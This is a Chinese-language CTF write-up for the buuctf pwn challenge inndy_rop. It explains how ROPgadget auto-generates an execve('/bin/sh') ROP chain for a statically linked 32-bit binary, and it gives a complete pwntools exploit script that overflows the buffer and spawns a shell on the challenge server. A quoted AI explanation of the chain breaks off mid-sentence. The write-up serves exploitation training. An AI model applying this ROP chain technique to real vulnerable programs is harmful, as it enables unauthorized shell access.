在做题拼接pop_rdi_ret这种gadget的时候经常在想,是不是能整一个程序通过拼接程序中的gadtget来达到getshell的目的。今天做题的时候终于发现了原来ROPgadget中本身就实现了这种功能。
题目来源
buuctf——pwn——inndy_rop
参考链接
- https://blog.csdn.net/Tokameine/article/details/120168519
- https://trustfoundry.net/2019/07/18/basic-rop-techniques-and-tricks/
题目信息
32位程序,题目提示Ubuntu16
IDA中显示900+函数,大概率是静态链接,没有使用动态链接
找了一圈没有找到system函数和execve函数
这一点在patchelf的时候也得到了证实
溢出点在overflow函数中
解题思路
自己构造ropchain,通过int 80指令中断至内核态,进而通过[[系统调用表调用execve函数getshell。
关键步骤
利用下面的命令可以自动生成本静态链接程序的利用代码。
ROPgadget --binary rop --ropchain
可以自动生成ROPChain,参考链接2可以更好的理解下面的步骤。
[Asm] 纯文本查看 复制代码 ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
[+] Gadget found: 0x80b8016 pop eax ; ret
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
[+] Gadget found: 0x807a66f inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de769 pop ecx ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x806c943 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
请出GPT解释一下部分内容:这段代码是一段使用ROP(Return-oriented programming)技术的shellcode,其主要目标是在内存中构造/bin/sh字符串,并使用execve系统调用来执行/bin/sh命令,启动一个shell。该shellcode在Linux系统上运行,以下是关于如何存储和使用/bin/sh的详细步骤:
- 首先,将内存指针edx设置为.data段的起始地址(0x080ea060)。.data段是程序用于存储全局变量的区域,这里我们选择它来存储我们的字符串。
- 然后,通过pop eax ; ret将eax寄存器的值设置为/bin,然后通过mov dword ptr [edx], eax ; ret将该值存储在edx指向的地址(即.data段的开始位置)。
- 使用和上述相似的步骤,将//sh字符串存储在.data + 4的位置。
- 接下来,将.data + 8的位置设置为0。这个0是/bin/sh字符串的结束标记,因为C字符串以\0为结束标记。
- 最后,使用execve系统调用执行/bin/sh。ebx被设置为.data(/bin/sh的地址),ecx和edx被设置为.data + 8(argv和envp的地址,这里我们将其设置为NULL)。eax被设置为11,这是execve系统调用在Linux下的编号。
这就是这段代码的全部操作。对于每一次调用pack('
wp
[Python] 纯文本查看 复制代码 # -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"
pc = "./rop"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",27245)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
# Padding goes here
p = b'a'*16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
sl(p)
ti() |